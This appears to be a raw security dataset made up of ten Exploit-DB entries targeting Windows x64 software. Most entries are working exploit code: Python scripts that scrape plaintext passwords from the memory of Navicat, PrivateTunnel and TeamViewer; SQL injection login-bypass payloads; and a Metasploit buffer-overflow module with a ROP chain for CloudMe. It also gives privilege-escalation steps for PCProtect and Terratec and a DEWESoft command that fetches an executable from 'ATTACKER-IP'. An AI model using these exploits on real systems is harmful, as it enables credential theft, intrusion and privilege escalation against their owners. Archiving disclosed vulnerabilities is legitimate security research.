deardaniel/secdata-raw huggingface dataset:
Exploit-DB #40336
Description: Navicat Premium 11.2.11 (x64) - Local Database Password Disclosure
Type: local
Platform: windows_x86-64
Date: 2016-09-05
Author: Yakir Wizman

Exploit:
#####
# Navicat Premium 11.2.11 (64bit) Local Password Disclosure
# Tested on Windows Windows Server 2012 R2 64bit, English
# Vendor Homepage @ https://www.navicat.com/
# Date 05/09/2016
# Bug Discovered by Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
#
# http://www.black-rose.ml
#
# Special Thanks & Greetings to friend of mine Viktor Minin (https://www.exploit-db.com/author/?a=8052) | (https://1-33-7.com/)
#####
# Navicat Premium client v11.2.11 is vulnerable to local password disclosure, the supplied password is stored in a plaintext format in memory process.
# A potential attacker could reveal the supplied password in order to gain access to the database.
# Proof-Of-Concept Code:
#####

import time
from winappdbg import Debug, Process

count 		= 0
found		= 0
filename 	= "navicat.exe"
process_pid = 0
memory_dump	= []

def b2h(str):
    return ''.join(["%02X " % ord(x) for x in str]).strip()

def h2b(str):
	bytes = []
	str = ''.join(str.split(" "))
	for i in range(0, len(str), 2):
		bytes.append(chr(int(str[i:i+2], 16)))
	return ''.join(bytes)

debug = Debug()
try:
	print "[~] Searching for pid by process name '%s'.." % (filename)
	time.sleep(1)
	debug.system.scan_processes()
	for (process, process_name) in debug.system.find_processes_by_filename(filename):
		process_pid = process.get_pid()
	if process_pid is not 0:
		print "[+] Found process with pid #%d" % (process_pid)
		time.sleep(1)
		print "[~] Trying to read memory for pid #%d" % (process_pid)
		
		process = Process(process_pid)
		for address in process.search_bytes('\x00\x90\x18\x00\x00\x00\x00\x00\x00\x00'):
			memory_dump.append(process.read(address,30))
		memory_dump.pop(0)
		for i in range(len(memory_dump)):
			str = b2h(memory_dump[i])
			first = str.split("00 90 18 00 00 00 00 00 00 00 ")[1]
			last = first.split("00 ")
			if last[0]:
				count = count+1
				found = 1
				print "[+] Password for connection #%d found as %s" % (count, h2b(last[0]))
		if found == 0:
			print "[-] Password not found! Make sure the client is connected at least to one database."
	else:
		print "[-] No process found with name '%s'." % (filename)
	
	debug.loop()
finally:
    debug.stop()
Exploit-DB #41605
Description: PCAUSA Rawether (ASUS PCE-AC56 WLAN Card Utilities Windows 10 x64) - Local Privilege Escalation
Type: local
Platform: windows_x86-64
Date: 2017-03-15
Author: ReWolf

Exploit:
#Exploit Title: PCAUSA Rawether for Windows local privilege escalation
#Date: 2017-03-15
#Exploit Author: ReWolf
#Vendor Homepage: original vendor website doesn't exist anymore
#Version: too many
#Tested on: Windows 10 x64 (TH2, RS1)

Rawether for Windows is a framework that facilitates communication between an application and the NDIS miniport driver. It’s produced by a company named Printing Communications Assoc., Inc. (PCAUSA), which seems to be no longer operating. Company websites can be still reached through web.archive.org:

http://web.archive.org/web/[PII_REDACTED]4756/http://www.pcausa.com/
http://web.archive.org/web/[PII_REDACTED]1809/http://www.rawether.net/

Rawether framework provides NDIS Protocol Driver similar to the NPF.SYS (part of the WinPcap). This framework is used by many different hardware vendors in their WiFi and router control applications. Exploit attached to this advisory targets 64bit version of PcaSp60.sys driver which is part of ASUS PCE-AC56 WLAN Card Utilities.

More information:
- http://blog.rewolf.pl/blog/?p=1778
- https://github.com/rwfpl/rewolf-pcausa-exploit/tree/4045cd9b45d647430d779f5b0a018a7a11d6ca2a

PoC:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41605.zip
Exploit-DB #45503
Description: PCProtect 4.8.35 - Privilege Escalation
Type: local
Platform: windows_x86-64
Date: 2018-09-28
Author: Hashim Jawad

Exploit:
# Exploit Title: PCProtect 4.8.35 - Privilege Escalation
# Date: 2018-09-11
# Exploit Author: Hashim Jawad - @ihack4falafel
# Vendor Homepage: https://www.pcprotect.com/
# Vulnerable Software: https://www.pcprotect.com/download
# Tested on: Windows 7 Enterprise SP1 (x64)

# Description:
# PCProtect Anti-Virus v4.8.35 installs by default to "C:\Program Files (x86)\PCProtect" with very 
# weak folder permissions granting any user full permission "Everyone: (F)" to the contents of the 
# directory and it's subfolders. In addition, the program installs a service called "SecurityService" 
# which runs as "Local system account", this will allow any user to escalate privileges 
# to "NT AUTHORITY\SYSTEM" by substituting the service's binary with malicious one.

# PoC

C:\Users\IEUser>icacls "c:\Program Files (x86)\PCProtect"
c:\Program Files (x86)\PCProtect BUILTIN\Users:(OI)(CI)(F)
                                 Everyone:(OI)(CI)(F)
                                 NT SERVICE\TrustedInstaller:(I)(F)
                                 NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
                                 NT AUTHORITY\SYSTEM:(I)(F)
                                 NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
                                 BUILTIN\Administrators:(I)(F)
                                 BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
                                 BUILTIN\Users:(I)(RX)
                                 BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
                                 CREATOR OWNER:(I)(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files

C:\Users\IEUser>sc qc SecurityService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: SecurityService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\Program Files (x86)\PCProtect\SecurityService.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : PC Security Management Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\IEUser>icacls "C:\Program Files (x86)\PCProtect\SecurityService.exe"
C:\Program Files (x86)\PCProtect\SecurityService.exe BUILTIN\Users:(I)(F)
                                                     Everyone:(I)(F)
                                                     NT AUTHORITY\SYSTEM:(I)(F)
                                                     BUILTIN\Administrators:(I)(F)

Successfully processed 1 files; Failed processing 0 files

C:\Users\IEUser>

# Exploit:
# Simply replace "SecurityService.exe" with your preferred payload and wait for execution upon reboot.
Exploit-DB #40380
Description: PrivateTunnel Client 2.7.0 (x64) - Local Credentials Disclosure
Type: local
Platform: windows_x86-64
Date: 2016-09-14
Author: Yakir Wizman

Exploit:
#####
# PrivateTunnel Client v2.7.0 (x64) Local Credentials Disclosure After Sign out Exploit
# Tested on Windows Windows 7 64bit, English
# Vendor Homepage 	@ https://www.privatetunnel.com
# Date 14/09/2016
# Bug Discovery by:
#
# Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
# http://www.black-rose.ml
#
# Viktor Minin (https://www.linkedin.com/in/MininViktor)
# https://1-33-7.com/
#
#####
# PrivateTunnel Client v2.7.0 is vulnerable to local credentials disclosure after the user is logged out.
# It seems that PrivateTunnel does store the supplied credentials while the user is logged in and after sign out in a plaintext format in memory process.
# A potential attacker could reveal the supplied username and password in order to gain access to PrivateTunnel account.
#
# Authors are not responsible for any misuse or demage which caused by use of this script code.
# Please use responsibly.
#####
# Proof-Of-Concept Code:

import time
import urllib
from winappdbg import Debug, Process

usr			= ''
pwd			= ''
found		= 0
filename 	= "privatetunnel2.7.0.exe"
process_pid = 0
memory_dump	= []

debug = Debug()
try:
	print "###########################################################################"
	print "# PrivateTunnel v2.7.0 Local Credentials Disclosure Exploit After Sign out#"
	print "#\t\tBug Discovery by Yakir Wizman, Victor Minin\t\t  #"
	print "#\t\tTested on Windows Windows 7 64bit, English\t\t  #"
	print "#\t\t\tPlease use responsibly.\t\t\t\t  #"
	print "###########################################################################\r\n"
	print "[~] Searching for pid by process name '%s'.." % (filename)
	time.sleep(1)
	debug.system.scan_processes()
	for (process, process_name) in debug.system.find_processes_by_filename(filename):
		process_pid = process.get_pid()
	if process_pid is not 0:
		print "[+] Found process with pid #%d" % (process_pid)
		time.sleep(1)
		print "[~] Trying to read memory for pid #%d" % (process_pid)
		
		process = Process(process_pid)
		
		user_pattern = '\x20\x22\x70\x61\x73\x73\x77\x6F\x72\x64\x22\x20\x3A\x20\x22(.*)\x22\x2C\x0A\x20\x20\x20\x22\x75\x73\x65\x72\x6E\x61\x6D\x65\x22\x20\x3A\x20\x22(.*)\x22\x0A'
		for address in process.search_regexp(user_pattern):
			memory_dump.append(address)
		
		try:
			usr = memory_dump[0][2].split('"username" : "')[1].replace('"\n', '')
			[CREDENTIAL_REDACTED]_dump[0][2].split('"password" : "')[1].split('",')[0]
		except:
			pass
		print ""
		if usr != '' and pwd !='':
			found = 1
			print "[+] PrivateTunnel Credentials found!\r\n----------------------------------------"
			print "[+] Username: %s" % usr
			print "[+] Password: %s" % pwd
		if found == 0:
			print "[-] Credentials not found!"

	else:
		print "[-] No process found with name '%s'." % (filename)
	
	debug.loop()
finally:
    debug.stop()
Exploit-DB #45709
Description: School Equipment Monitoring System 1.0 - 'login' SQL Injection
Type: local
Platform: windows_x86-64
Date: 2018-10-29
Author: Ihsan Sencan

Exploit:
# Exploit Title: School Equipment Monitoring System 1.0 - 'login' SQL Injection 
# Dork: N/A
# Date: 2018-10-29
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://www.sourcecodester.com/users/janobe
# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/sems_0.zip
# Version: 1.0
# Category: Windows
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-18806

# POC: 
# 1)

User: '||(SEleCT 'Efe' FRoM DuaL WheRE 113=113 AnD (SEleCT 64 FRom(SELeCT CoUNT(*),ConCAT(ConCAT(0x203a20,UsER(),DAtABAsE(),VErSIoN()),(SelEcT (ELT(64=64,1))),FLooR(RAnD(0)*2))x FrOM INFOrMATIoN_SchEMA.pLUGINS GroUP By x)a))||'
Pass: Null

# POC: 
# 2)
# User: 'or 1=1 or ''='
# Pass: Null
# 
# https://4.bp.blogspot.com/-ILPqY1iygBY/W9YnEkjH9fI/AAAAAAAAENQ/34rcdTiwPDIeBzPhuj8roYPMIPOshiFvwCLcBGAs/s1600/sql2.png
# 
#[PATH]/include/user.vb / 28 / '" & username & "'
#....
#24     Public Sub login(ByVal username As Object, ByVal pass As Object)
#25         Try
#26 
#27             con.Open()
#28             reloadtxt("SELECT * FROM `tbluseraccounts` WHERE Username= '" & username & "' and Pass = sha1('" & pass & "')")
#29 
#30 
#31             If dt.Rows.Count > 0 Then
#32 
#33                 If dt.Rows(0).Item("Role") = "Administrator" Then
#34                     MsgBox("Welcome " & dt.Rows(0).Item("Role"))
#35                     Form1.Text = "User :" & dt.Rows(0).Item("Fullname")
#36                     Form1.LogoutToolStripMenuItem.Text = "Logout"
#37                     visibleMenu("true", "admin")
#38                     LoginForm1.Close()
#39                 Else
#40                     visibleMenu("true", "not admin")
#41                     Form1.LogoutToolStripMenuItem.Text = "Logout"
#42                     LoginForm1.Close()
#43                 End If
#44 
#45             Else
#46                 MsgBox("Acount doest not exits!", MsgBoxStyle.Information)
#47             End If
#48         Catch ex As Exception
#49             MsgBox(ex.Message)
#50         End Try
#51         con.Close()
#52         da.Dispose()
#53     End Sub
#....
Exploit-DB #39520
Description: Secret Net 7 and Secret Net Studio 8 - Local Privilege Escalation
Type: local
Platform: windows_x86-64
Date: 2016-03-02
Author: Cr4sh

Exploit:
Source: https://github.com/Cr4sh/secretnet_expl

Secret Net 7 and Secret Net Studio 8 local privileges escalation exploit.

0day vulnerabilities in sncc0.sys kernel driver of Secrity Code products allows attacker to perform local privileges escalation from Guest to Local System. Also, attacker that has access to any Windows system may manually install sncc0.sys (that has valid digital signature from Security Code) and exploit it's vulnerability to bypass DSE and load unsigned kernel mode drivers on Windows x64 platforms.

For detailed vulnerability analysis and explanation of how sncc0_00220010_expl code works please read Windows DSE bypass part of my article "Exploiting SMM callout vulnerabilities in Lenovo firmware".

This exploit was tested with 64-bit versions of Windows 7, 8, 8.1 and 10. On SMEP enabled systems you have to manually restore original value of CR4 register to avoid PatchGuard bugchecks, for real life usage example please check my fwexpl project.


Proof of Concept:
https://github.com/Cr4sh/secretnet_expl/archive/master.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39520.zip
Exploit-DB #40342
Description: TeamViewer 11.0.65452 (x64) - Local Credentials Disclosure
Type: local
Platform: windows_x86-64
Date: 2016-09-07
Author: Alexander Korznikov

Exploit:
#####
# TeamViewer 11.0.65452 (64 bit) Local Credentials Disclosure
# Tested on Windows 7 64bit, English
# Vendor Homepage @ https://www.teamviewer.com/
# Date 07/09/2016
# Bug Discovered by Alexander Korznikov (https://www.linkedin.com/in/nopernik)
#
# http://www.korznikov.com | @nopernik
#
# Special Thanks to:
#       Viktor Minin (https://www.exploit-db.com/author/?a=8052) | (https://1-33-7.com/)
#       Yakir Wizman (https://www.exploit-db.com/author/?a=1002) | (http://www.black-rose.ml)
#
#####
# TeamViewer 11.0.65452 is vulnerable to local credentials disclosure, the supplied userid and password are stored in a plaintext format in memory process.
# There is no need in privilege account access. Credentials are stored in context of regular user.
# A potential attacker could reveal the supplied username and password automaticaly and gain persistent access to host via TeamViewer services.
#
# Proof-Of-Concept Code:
#####

from winappdbg import Debug, Process, HexDump
import sys
import re

filename = 'TeamViewer.exe'

def memory_search( pid ):
        found = []
        # Instance a Process object.
        process = Process( pid )
        # Search for the string in the process memory.

        # Looking for User ID:
        userid_pattern = '([0-9]\x00){3} \x00([0-9]\x00){3} \x00([0-9]\x00){3}[^)]'
        for address in process.search_regexp( userid_pattern ):
                 found += [address]
        
        print 'Possible UserIDs found:'
        found = [i[-1] for i in found]
        for i in set(found):
           print i.replace('\x00','')
        
        found = []
        # Looking for Password:
        pass_pattern = '([0-9]\x00){4}\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x07\x00\x00'
        for address in process.search_regexp( pass_pattern ):
                 found += [process.read(address[0]-3,16)]
        if found:
            print '\nPassword:'
        if len(found) > 1:
            s = list(set([x for x in found if found.count(x) > 1]))
            for i in s:
               pwd = re.findall('[0-9]{4}',i.replace('\x00',''))[0]
            print pwd
        else:
            print re.findall('[0-9]{4}',found[0].replace('\x00',''))[0]
        
        return found

debug = Debug()
try:
        # Lookup the currently running processes.
        debug.system.scan_processes()
        # For all processes that match the requested filename...
        for ( process, name ) in debug.system.find_processes_by_filename( filename ):
                pid = process.get_pid()

        memory_search(pid)
           
finally:
        debug.stop()
Exploit-DB #51977
Description: Terratec dmx_6fire USB - Unquoted Service Path
Type: local
Platform: windows_x86-64
Date: 2024-04-12
Author: Joseph Kwabena Fiagbor

Exploit:
# Exploit Title:  Terratec dmx_6fire USB - Unquoted Service Path
# Google Dork: null
# Date: 4/10/2024
# Exploit Author: Joseph Kwabena Fiagbor
# Vendor Homepage: https://dmx-6fire-24-96-controlpanel.software.informer.com/download/
# Software Link:
# Version: v.1.23.0.02
# Tested on: windows 7-11
# CVE : CVE-2024-31804

1. Description:

The Terratec dmx_6fire usb installs as a service with an unquoted service
path running
with SYSTEM privileges.
This could potentially allow an authorized but non-privileged local
user to execute arbitrary code with elevated privileges on the system.

2. Proof

> C:\Users\Astra>sc qc "ttdmx6firesvc"
> {SC] QueryServiceConfig SUCCESS
>
> SERVICE_NAME: ttdmx6firesvc
>         TYPE               : 10  WIN32_OWN_PROCESS
>         START_TYPE         : 2   AUTO_START
>         ERROR_CONTROL      : 1   NORMAL
>         BINARY_PATH_NAME   : C:\Program Files\TerraTec\DMX6FireUSB\ttdmx6firesvc.exe -service
>         LOAD_ORDER_GROUP   : PlugPlay
>         TAG                : 0
>         DISPLAY_NAME       : DMX6Fire Control
>         DEPENDENCIES       : eventlog
>                            : PlugPlay
>         SERVICE_START_NAME : LocalSystem
>
>
Exploit-DB #45197
Description: Cloudme 1.9 - Buffer Overflow (DEP) (Metasploit)
Type: remote
Platform: windows_x86-64
Date: 2018-08-14
Author: Raymond Wellnitz

Exploit:
# Exploit Title: Cloudme 1.9 - Buffer Overflow (DEP) (Metasploit)
# Date: 2018-08-13
# Exploit Author: Raymond Wellnitz
# Vendor Homepage: https://www.cloudme.com
# Version: 1.8.x/1.9.x
# Tested on: Windows 7 x64
# CVE : 2018-6892

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Cloudme v1.8.x/v1.9.x Buffer Overflow with DEP-Bypass',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Cloudme v1.8.x/v1.9.x.
      },
      'Author'         => [ 'Raymond Wellnitz' ],
      'References'     =>
        [
          [ 'CVE', 'CVE-2018-6892' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Platform'       => 'win',
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'    => 600,
          'BadChars' => "\x00"
        },
      'Targets'        =>
        [
          [ 'Windows x86_32/64',   		{ 'Ret' => 0x6cfa88a2  } ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '11.02.2018'))

    register_options([ Opt::RPORT(8888) ])
  end

def create_rop_chain()
    rop_gadgets = [
      0x6cf98182,  # POP EAX # RETN [icuin49.dll]
      0x68c848d8,  # ptr to &VirtualProtect() [IAT Qt5Core.dll]
      0x61b4d226,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [Qt5Gui.dll] 
      0x668d8261,  # XCHG EAX,ESI # RETN [libGLESv2.dll] 
      0x68a5c297,  # POP EBP # RETN [Qt5Core.dll]      
      0x688dd45d,  # & JMP ESP [Qt5Core.dll]
      0x68abe868,  # POP EAX # RETN [Qt5Core.dll]
      0xfffffdff,  # 201
      0x1004b263,  # NEG EAX # RETN [LIBEAY32.dll]
      0x689687d2,  # XCHG EAX,EBX # RETN
      0x68abe868,  # POP EAX # RETN [Qt5Core.dll]
      0xffffffc0,  # 40
      0x1004b263,  # NEG EAX # RETN [LIBEAY32.dll]
      0x6751d479,  # XCHG EAX,EDX # RETN [icuuc49.dll]
      0x100010c7,  # POP ECX # RETN [LIBEAY32.dll]
      0x6494ea0a,  # &Writable location [libwinpthread-1.dll]
      0x68a49534,  # POP EDI # RETN [Qt5Core.dll] 
      0x1008df82,  # RETN (ROP NOP) [LIBEAY32.dll]
      0x68ad025b,  # POP EAX # RETN [Qt5Core.dll]
      0x90909090,  # NOPS
      0x6759bdb4,  # PUSHAD # RETN [icuuc49.dll] 
    ].flatten.pack("V*")
    return rop_gadgets
end

  def exploit
    connect

    sploit = rand_text_alpha_upper(1036)
    sploit << create_rop_chain()
    sploit << make_nops(30)
    sploit << payload.encoded

    print_status("Trying target #{target.name}...")
    sock.put(sploit + "\r\n\r\n")

    handler
    disconnect
  end
end
Exploit-DB #44275
Description: DEWESoft X3 SP1 (x64) - Remote Command Execution
Type: remote
Platform: windows_x86-64
Date: 2018-03-12
Author: hyp3rlinx

Exploit:
[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/DEWESOFT-X3-REMOTE-INTERNAL-COMMAND-ACCESS.txt
[+] ISR: Apparition Security          
 


Vendor:
=============
www.dewesoft.com


Product:
===========
DEWESoft X3 SP1 (64-bit) installer - X3
DEWESoft_FULL_X3_SP1_64BIT.exe



Vulnerability Type:
===================
Remote Internal Command Access



CVE Reference:
==============
CVE-2018-7756



Security Issue:
================
The installer for DEWESoft X3 SP1 (64-bit) devices, specifically the "RunExeFile.exe" component does not require authentication
for sessions on TCP port 1999, which allows remote attackers to execute arbitrary code or access internal commands, as demonstrated by a
RUN command that can launch an .EXE file located at an arbitrary directory location, download an .EXE from an external URL, or Run 
a "SETFIREWALL Off" command. 

The RunExeFile.exe "Launcher" is located at "C:\Program Files (x86)\Common Files\DEWESoft Shared\" after installing using the full-install.

Internal commands used by "RunExeFile.exe" for which I could not find any documentation.

RUN <ANY EXE>
RUNEX <ANY EXE>
GETFIREWALL
SETFIREWALL Off
KILL <PROCESS>
USERNAME
SHUTDOWN
SENDKEYS
LIST
DWPIPE

Exploit/POC:
=============
TELNET x.x.x.x 1999 
RUN calc.exe

OR

Launch the victims browser and send them to website for a drive-by download etc.

TELNET x.x.x.x 1999 
RUN http://ATTACKER-IP/DOOM.exe

Then from the TELNET session execute it from Downloads directory.

runexe c:\Users\victim\Downloads\DOOM.exe


Network Access:
===============
Remote



Severity:
=========
High



Disclosure Timeline:
=============================
Vendor Notification: February 9, 2018
Vendor "thank you for the warning. We will forward this to the developers and they will look into it" : February 19, 2018
Inform vendor of disclosure timeline : February 19, 2018
No further replys, update or addressing of the issue by vendor.
Vendor "We will assume that this issue is resolved and close the ticket." : March 6, 2018
March 10, 2018 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).